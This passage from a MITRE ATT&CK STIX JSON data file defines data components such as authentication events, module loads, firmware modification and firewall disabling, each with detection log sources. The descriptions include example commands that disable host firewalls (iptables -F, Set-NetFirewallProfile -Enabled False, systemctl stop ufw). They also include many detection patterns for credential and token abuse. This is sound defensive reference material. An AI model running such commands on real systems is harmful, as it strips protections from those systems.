                    "channel": "Connections from IDE hosts to marketplace/tunnel domains"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Outbound connections from IDE processes to marketplace/tunnel domains"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "large HTTPS outbound uploads"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "network flows to external cloud services"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "TCP port 22 traffic"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "port 22 access"
                },
                {
                    "name": "TelecomLogs:MobilityEvents",
                    "channel": "Unexpected location resolution events or abnormal subscriber tracking requests"
                },
                {
                    "name": "TelecomLogs:MobilityEvents",
                    "channel": "Unexpected subscriber tracking or abnormal mobility/location resolution activity"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "Application-layer protocol traffic exhibiting beacon-like periodicity, anomalous session structure, or protocol misuse patterns"
                },
                {
                    "name": "NSM:Flow",
                    "channel": "App-attributed traffic exhibits multi-destination fan-out, sustained session bridging, or SOCKS-like relay behavior inconsistent with normal client-only mobile communication"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
            "created": "2021-10-20T15:05:19.271Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0002",
                    "external_id": "DC0002"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.777Z",
            "name": "User Account Authentication",
            "description": "An attempt (successful and failed login attempts) by a user, service, or application to gain access to a network, system, or cloud-based resource. This typically involves credentials such as passwords, tokens, multi-factor authentication (MFA), or biometric validation.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "enterprise-attack",
                "mobile-attack"
            ],
            "x_mitre_version": "3.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "auditd:AUTH",
                    "channel": "pam_unix or pam_google_authenticator invoked repeatedly within short interval"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "pam_authenticate, sshd"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execution of ssh, scp, or sftp using previously unseen credentials or keys"
                },
                {
                    "name": "auditd:USER_LOGIN",
                    "channel": "USER_AUTH"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "sts:GetFederationToken"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AssumeRoleWithWebIdentity"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AWS IAM: ListUsers, ListRoles"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "eventName=ConsoleLogin | eventType=AwsConsoleSignIn"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "ConsoleLogin or AssumeRole"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Success logs from high-risk accounts"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Multiple MFA challenge requests without successful primary login"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Operation=UserLogin"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Unusual Token Usage or Application Consent"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "OperationName=SetDomainAuthentication OR Set-FederatedDomain"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Sign-in with unfamiliar location/device + portal navigation"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Login from newly created account"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Interactive/Non-Interactive Sign-In"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "Reset password or download key from portal"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "status = failure"
                },
                {
                    "name": "azure:signinlogs",
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                },
                {
                    "name": "azure:signinlogs",
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                },
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                    "name": "azure:signinlogs",
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                },
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                    "name": "azure:signinlogs",
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                },
                {
                    "name": "azure:signinlogs",
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                    "name": "esxi:vpxa",
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                },
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                    "name": "esxi:vpxd",
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                {
                    "name": "ESXiLogs:authlog",
                    "channel": "Unexpected login followed by encoding commands"
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                {
                    "name": "gcp:audit",
                    "channel": "drive.activity"
                },
                {
                    "name": "gcp:audit",
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                },
                {
                    "name": "gcp:audit",
                    "channel": "Sign-in logs / audit events"
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                    "name": "gcp:workspaceaudit",
                    "channel": "Token Generation via Domain Delegation"
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                    "name": "GCPAuditLogs:login.googleapis.com",
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                    "name": "kubernetes:apiserver",
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                    "name": "kubernetes:apiserver",
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                    "name": "kubernetes:audit",
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                },
                {
                    "name": "kubernetes:audit",
                    "channel": "authentication.k8s.io"
                },
                {
                    "name": "linux:auth",
                    "channel": "sshd login"
                },
                {
                    "name": "linux:syslog",
                    "channel": "sudo/date/timedatectl execution by non-standard users"
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                {
                    "name": "linux:syslog",
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                    "name": "linux:syslog",
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                    "name": "linux:syslog",
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                    "name": "linux:syslog",
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                },
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                    "name": "m365:exchange",
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                    "name": "m365:exchange",
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                    "name": "m365:signinlogs",
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                    "name": "m365:signinlogs",
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                    "name": "m365:signinlogs",
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                    "name": "m365:unified",
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                    "name": "macos:unifiedlog",
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                    "name": "macos:unifiedlog",
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                    "name": "macos:unifiedlog",
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                    "name": "macos:unifiedlog",
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                    "name": "macos:unifiedlog",
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                    "name": "macos:unifiedlog",
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                    "name": "macos:unifiedlog",
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                    "name": "network:auth",
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                },
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                    "name": "NSM:Flow",
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                    "name": "Okta:authn",
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                    "name": "Okta:SystemLog",
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                    "name": "saas-app:auth",
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                {
                    "name": "saas:audit",
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                {
                    "name": "saas:auth",
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                {
                    "name": "saas:googleworkspace",
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                    "name": "saas:googleworkspace",
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                    "name": "saas:googleworkspace",
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                    "name": "saas:salesforce",
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                    "name": "saas:okta",
                    "channel": "User Enumeration Events"
                },
                {
                    "name": "gcp:audit",
                    "channel": "Directory API Access"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "DirectoryService queries retrieving account information"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e",
            "created": "2021-10-20T15:05:19.273Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0048",
                    "external_id": "DC0048"
                }
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            ],
            "modified": "2025-10-21T15:14:39.039Z",
            "name": "Named Pipe Metadata",
            "description": "Contextual data about a named pipe on a system, including pipe name and creating process (ex: Sysmon EIDs 17-18)\n\n*Data Collection Measures:*\n\n- Windows:\n    - Sysmon Event ID 17: Logs the creation of a named pipe.\n    - Sysmon Event ID 18: Logs connection attempts to a named pipe.\n    - Windows Security Event ID 5145: Logs access attempts to named pipes via SMB shares.\n    - ETW (Event Tracing for Windows): Provides deep telemetry into named pipe interactions.\n- Linux/macOS:\n    - AuditD (`mkfifo`, `open`, `read`, `write` syscalls): Tracks FIFO (named pipe) creation and usage.\n    - Lsof (`lsof -p <PID>` or `lsof | grep PIPE`): Lists active named pipes and associated processes.\n    - Strace (`strace -e open <process>`): Monitors named pipe interactions.\n- Endpoint Detection & Response (EDR):\n    - Capture named pipe events as part of process tracking.\n- Memory Forensics:\n    - Volatility Plugin (`pipescan`): Enumerates named pipes in system memory.\n    - Rekall Framework: Identifies active named pipes and associated processes.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=17"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "XPC messages requesting privileged actions from untrusted or unsigned clients"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd",
            "created": "2021-10-20T15:05:19.271Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0004",
                    "external_id": "DC0004"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:14:38.020Z",
            "name": "Firmware Modification",
            "description": "Changes made to firmware, which may include its settings, configurations, or underlying data. This can encompass alterations to the Master Boot Record (MBR), Volume Boot Record (VBR), or other firmware components critical to system boot and functionality. Such modifications are often indicators of adversary activity, including malware persistence and system compromise. Examples: \n\n- Changes to Master Boot Record (MBR): Modifying the MBR to load malicious code during the boot process.\n- Changes to Volume Boot Record (VBR): Altering the VBR to redirect boot processes to malicious locations.\n- Firmware Configuration Changes: Modifying BIOS/UEFI settings such as disabling Secure Boot.\n- Firmware Image Tampering: Updating firmware with a malicious or unauthorized image.\n- Logs or Errors Indicating Firmware Changes: Logs showing unauthorized firmware updates or checksum mismatches.\n\nThis data component can be collected through the following measures:\n\n- BIOS/UEFI Logs: Enable and monitor BIOS/UEFI logs to capture settings changes or firmware updates.\n- Firmware Integrity Monitoring: Use tools or firmware security features to detect changes to firmware components.\n- Endpoint Detection and Response (EDR) Solutions: Many EDR platforms can detect abnormal firmware activity, such as changes to MBR/VBR or unauthorized firmware updates.\n- File System Monitoring: Monitor changes to MBR/VBR-related files using tools like Sysmon or auditd.\n    - Windows Example (Sysmon): Monitor Event ID 7 (Raw disk access).\n    - Linux Example (auditd): `auditctl -w /dev/sda -p wa -k firmware_modification`\n- Network Traffic Analysis: Capture firmware updates downloaded over the network, particularly from untrusted sources. Use network monitoring tools like Zeek or Wireshark to analyze firmware-related traffic.\n- Secure Boot Logs: Collect and analyze Secure Boot logs for signs of tampering or unauthorized configurations. Example: Use PowerShell to retrieve Secure Boot settings on Windows: `Confirm-SecureBootUEFI`\n- Vendor-Specific Firmware Tools: Many hardware vendors provide tools for firmware integrity checks.Examples:\n    - Intel Platform Firmware Resilience (PFR).\n    - Lenovo UEFI diagnostics.",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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                "enterprise-attack"
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            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Firmware",
                    "channel": "None"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Image Upgrade / Configuration Change"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Boot image path or firmware configuration variable modified outside of maintenance windows"
                },
                {
                    "name": "WinEventLog:Microsoft-Windows-Kernel-Boot",
                    "channel": "Firmware integrity validation failed or boot configuration tampered"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "write access to /dev/mem or /sys/firmware/efi/efivars"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "boot failure events or SMC validation errors"
                },
                {
                    "name": "networkdevice:firmware",
                    "channel": "Firmware update initiated or bootloader tampering detected"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Boot variable modified to point to non-standard or unsigned image"
                },
                {
                    "name": "firmware:integrity ",
                    "channel": "Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "ioctl/write: Direct firmware update or device memory manipulation syscalls"
                },
                {
                    "name": "firmware:smart",
                    "channel": "Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Firmware update events or kernel extension (kext) loads not signed by Apple"
                },
                {
                    "name": "firmware:integrity",
                    "channel": "Baseline mismatch or unexpected EFI module detected during integrity checks"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Unexpected changes in EFI or NVRAM variables controlling hardware boot state"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Custom firmware or routing changes"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-Storage",
                    "channel": "Raw disk I/O operations bypassing NTFS APIs"
                },
                {
                    "name": "firmware:runtime",
                    "channel": "Debug or memory access commands indicating attempts to alter OS instructions in memory"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Boot information log showing image loaded from TFTP server instead of local storage"
                }
            ]
        },
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            "id": "x-mitre-data-component--bf91faa8-0049-4870-810a-4df55e0b77ee",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0044",
                    "external_id": "DC0044"
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            ],
            "object_marking_refs": [
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Firewall Enumeration",
            "description": "Querying and extracting a list of available firewalls or their associated configurations and rules. This activity can occur across host systems and cloud control planes, providing insight into the state and configuration of firewalls that protect the environment. Examples: \n\n- Querying Host-Based Firewalls: Using Windows PowerShell commands like `Get-NetFirewallRule` or Linux commands such as `iptables -L` or `firewalld --list-all`.\n- Cloud Firewall Rule Listing: Running commands like `az network firewall list` for Azure or `aws ec2 describe-security-groups` for AWS.\n- Using Management APIs: Leveraging APIs like Google Cloud Firewall's `list` API method or AWS's DescribeSecurityGroups API.\nIdentifying Misconfigurations: Extracting firewall rules to identify \u201callow all\u201d policies or rules that lack logging.\n- Enumerating with CLI Tools: Using CLI commands like `gcloud compute firewall-rules list` to extract firewall settings in Google Cloud.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0"
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0016",
                    "external_id": "DC0016"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.778Z",
            "name": "Module Load",
            "description": "When a process or program dynamically attaches a shared library, module, or plugin into its memory space. This action is typically performed to extend the functionality of an application, access shared system resources, or interact with kernel-mode components.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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                "enterprise-attack",
                "mobile-attack"
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            "x_mitre_attack_spec_version": "3.3.0",
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                    "name": "Module",
                    "channel": "None"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "name": "ETW:LoadImage",
                    "channel": "provider: ETW LoadImage events for images from user-writable/UNC paths"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "openat/read/mmap: Open/mmap .so files from non-standard paths"
                },
                {
                    "name": "linux:osquery",
                    "channel": "select: Open files path LIKE '/tmp/%.so' OR '/dev/shm/%.so'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "dyld/unified log entries indicating image load from non-system paths"
                },
                {
                    "name": "macos:osquery",
                    "channel": "select: path LIKE '%/Library/%/*.dylib' OR '/tmp/*.dylib'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "dynamic loading of sleep-related functions or sandbox detection libraries"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "LD_PRELOAD Logging"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Dynamic Linking State"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "DYLD event subsystem"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Process linked with libcrypto.so making external connections"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process execution events with dylib load activity"
                },
                {
                    "name": "linux:Sysmon",
                    "channel": "EventCode=7"
                },
                {
                    "name": "WinEventLog:Application",
                    "channel": "CLR Assembly creation, loading, or modification logs via MSSQL CLR integration"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process memory maps new dylib (dylib_load event)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Dylib loaded from abnormal location"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=3033"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=3063"
                },
                {
                    "name": "auditd:MMAP",
                    "channel": "load: Loading of libzip.so, libz.so, or libbz2.so by processes not normally associated with archiving"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Loading of libz.dylib, libarchive.dylib by non-standard applications"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "suspicious dlopen/dlsym usage in non-development processes"
                },
                {
                    "name": "m365:unified",
                    "channel": "Non-standard Office startup component detected (e.g., unexpected DLL path)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "mmap"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "unexpected module load"
                },
                {
                    "name": "snmp:status",
                    "channel": "Status change in cryptographic hardware modules (enabled -> disabled)"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "module load"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "delay/sleep library usage in user context"
                },
                {
                    "name": "linux:syslog",
                    "channel": "kmod"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "subsystem=com.apple.kextd"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "loading of unexpected dylibs compared to historical baselines"
                },
                {
                    "name": "auditd:file-events",
                    "channel": "open of suspicious .so from non-standard paths"
                },
                {
                    "name": "macos:syslog",
                    "channel": "DYLD_INSERT_LIBRARIES anomalies"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "dmesg"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_KEXTLOAD"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "module load or memory map path"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launch and dylib load"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Processes linked with libssl/libcrypto performing network activity"
                },
                {
                    "name": "etw:Microsoft-Windows-Kernel-ImageLoad",
                    "channel": "provider: Unsigned/user-writable image loads into msbuild.exe"
                },
                {
                    "name": "android:logcat",
                    "channel": "DexClassLoader/PathClassLoader load attempt from non-standard path or recently created file"
                },
                {
                    "name": "android:logcat",
                    "channel": "Short burst of file I/O followed by JNI/dlopen of a newly created .so"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "dyld: dlopen/dyld_cache load from non-standard app-writable path"
                },
                {
                    "name": "android:logcat",
                    "channel": "DexClassLoader/PathClassLoader loading from app-writable path OR reflective defineClass on byte[] payload"
                },
                {
                    "name": "iOS:unifiedlog",
                    "channel": "dlopen/image load from app-writable path (tmp, Caches) outside bundled resources"
                },
                {
                    "name": "android:logcat",
                    "channel": "DexClassLoader|PathClassLoader load from app-writable path OR dlopen of a freshly created .so"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--c0edd522-0aef-46b3-8efa-2bd334ce4242",
            "created": "2021-10-20T15:05:19.272Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0121",
                    "external_id": "DC0121"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Pod Metadata",
            "description": "Contextual data about a pod and activity around it such as name, ID, namespace, or status",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": true,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0"
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--c97d0171-f6e0-4415-85ff-4082fdb8c72a",
            "created": "2021-10-20T15:05:19.273Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0043",
                    "external_id": "DC0043"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:14:40.022Z",
            "name": "Firewall Disable",
            "description": "The deactivation, misconfiguration, or complete stoppage of firewall services, either on a host or in a cloud control plane. Such activity may involve turning off firewalls, modifying rules to disable protection, or deleting firewall-related configurations and activity logs. Examples: \n\n- Disabling Host-Based Firewalls: Stopping the Windows Defender Firewall service or using `iptables -F` to flush all rules on a Linux system.\n- Cloud Firewall Modification or Deactivation: Modifying or deleting security group rules in AWS or disabling a network firewall in Azure.\n- Activity Log Deletion: Writing or deleting entries in Azure Firewall Activity Logs to hide unauthorized firewall changes.\n- Temporary Disable for Malicious Operations: Temporarily disabling a firewall to allow malicious files or traffic, then re-enabling it to avoid detection.\n- Using Command-Line Tools to Stop Firewalls: Running commands like `Set-NetFirewallProfile -Enabled False on Windows or systemctl stop ufw` on Linux.\n\nThis data component can be collected through the following measures:\n\nCloud Control Plane\n\n- Azure Activity Logs:\n    - Enable logging of administrative actions, such as stopping or modifying Azure Firewall configurations.\n    - Use Azure Monitor to track specific firewall-related actions, including disabling or rule deletion.\n- AWS CloudTrail Logs:\n    - Monitor `RevokeSecurityGroupIngress` or `RevokeSecurityGroupEgress` events to detect rule changes in AWS Security Groups.\n- Google Cloud Platform Logs:\n    - Collect logs from the Firewall Rules resource in Google Cloud Operations Suite to detect rule deletions or modifications.\n\nHost-Level Firewalls\n\n- Windows Firewall Event Logs:\n    - Enable logging of firewall state changes:\n        - Security Event ID 2004: Firewall service stopped.\n        - Security Event ID 2005: Firewall service started.\n    - Use Sysmon for process creation events tied to firewall commands or scripts (Sysmon Event ID 1).\n- Linux Firewall Logs: Use auditd to track commands like iptables, firewalld, or ufw: `auditctl -a always,exit -F arch=b64 -S execve -k firewall_disable`\n- macOS Firewall: Monitor changes to the macOS Application Firewall using the log show command.\n\nNetwork-Level Monitoring\n\n- IDS/IPS Alerts: Deploy IDS/IPS systems to monitor abnormal traffic flows that could indicate firewall disablement.\n- NetFlow Data: Analyze NetFlow or packet capture data for traffic patterns inconsistent with firewall enforcement.\n\nSIEM and CSPM Tools\n\n- SIEM Integration: Use tools like Splunk or QRadar to centralize and analyze firewall disablement events from both hosts and cloud platforms.\n- Cloud Security Posture Management (CSPM): Use CSPM solutions to monitor misconfigurations and track deactivation of critical cloud services like firewalls.",
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "esxi:vmkernel",
                    "channel": "Disabling or modifying firewall rules"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "Removal of restrictive egress rules from a security group"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4",
            "created": "2021-10-20T15:05:19.275Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/datacomponents/DC0096",
                    "external_id": "DC0096"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Passive DNS",
            "description": "\"Domain Name: Passive DNS\" captures logged historical and real-time domain name system (DNS) data. This includes records of domain-to-IP address resolutions over time, enabling analysts to track the evolution of domain infrastructure, uncover historical patterns of use, and detect malicious activities tied to domains and their associated IP addresses. Examples: \n\n- Historical Resolutions\n- Shared IP Usage\n- Temporal Patterns\n- Malicious Domain Clustering\n- Historical Lookback\n\nThis data component can be collected through the following measures:\n\n- Passive DNS Platforms: Use platforms that specialize in passive DNS collection and analysis:\n   - Tools: Farsight DNSDB, RiskIQ PassiveTotal, PassiveDNS.\n- Threat Intelligence Feeds: Integrate passive DNS data from commercial or open-source threat intelligence providers.\n- Custom DNS Collectors: Deploy custom tools to capture DNS traffic at the network level for analysis.\n- Cloud DNS Services: Leverage cloud DNS services (e.g., AWS Route 53, Azure DNS) that maintain DNS query logs.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Domain Name",
                    "channel": "None"
                }
            ]
        },
        {
            "type": "x-mitre-data-component",
            "id": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
            "created": "2021-10-20T15:05:19.271Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "url": "https://attack.mitre.org/datacomponents/DC0010",
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "User Account Modification",
            "description": "Changes made to an existing user, service, or machine account, including alterations to attributes, permissions, roles, authentication methods, or group memberships.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
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                    "name": "azure:audit",
                    "channel": "Operation IN (\"Add device\", \"Add registered users to device\", \"Add registered owner to device\")"
                },
                {
                    "name": "linux:syslog",
                    "channel": "sudo or su access prior to content change"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4738, 4728, 4670"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "usermod, groupmod, passwd"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "com.apple.accountsd, com.apple.opendirectoryd"
                },
                {
                    "name": "saas:okta",
                    "channel": "User Attribute Modified / Role Assignment Changed"
                },
                {
                    "name": "m365:unified",
                    "channel": "Admin Activity > Role Change or Sharing Change"
                },
                {
                    "name": "gcp:audit",
                    "channel": "Admin Activity > Role Change or Sharing Change"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-ADUser OR Set-ADAccountControl"
                },
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                    "name": "AWS:CloudTrail",
                    "channel": "UpdateLoginProfile"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4723, 4724, 4740"
                },
                {
                    "name": "saas:okta",
                    "channel": "user.lifecycle.delete, user.account.lock"
                },
                {
                    "name": "m365:unified",
                    "channel": "User excluded from MFA or MFA method registered"
                },
                {
                    "name": "saas:zoom",
                    "channel": "DisableMFA or RegisterNewFactor"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AttachUserPolicy, CreatePolicyVersion, PutRolePolicy"
                },
                {
                    "name": "gcp:audit",
                    "channel": "google.iam.admin.v1.RoleAssignment"
                },
                {
                    "name": "m365:audit",
                    "channel": "Add member to role, Add app role assignment"
                },
                {
                    "name": "Okta:SystemLog",
                    "channel": "user.account.privilege.grant"
                },
                {
                    "name": "m365:unified",
                    "channel": "Add member to role, Set-Mailbox"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-MailboxAuditBypassAssociation or disabling Advanced Auditing"
                },
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                    "name": "m365:unified",
                    "channel": "New agent registration by non-admin user"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4704"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4728, 4729, 4732, 4733, 4756, 4757"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "SYSCALL for usermod or /etc/group file modification"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process execution or directory service changes"
                },
                {
                    "name": "azure:policy",
                    "channel": "DisableMfaPolicy or change to ConditionalAccess rules"
                },
                {
                    "name": "azure:audit",
                    "channel": "Add member to role"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "AttachUserPolicy"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "CreateAccessKey"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "unusual role assumption or elevation path"
                },
                {
                    "name": "saas:okta",
                    "channel": "admin role granted outside approved workflows"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "role privilege expansion detected"
                },
                {
                    "name": "m365:unified",
                    "channel": "Add-MailboxPermission, UpdateFolderPermissions"
                },
                {
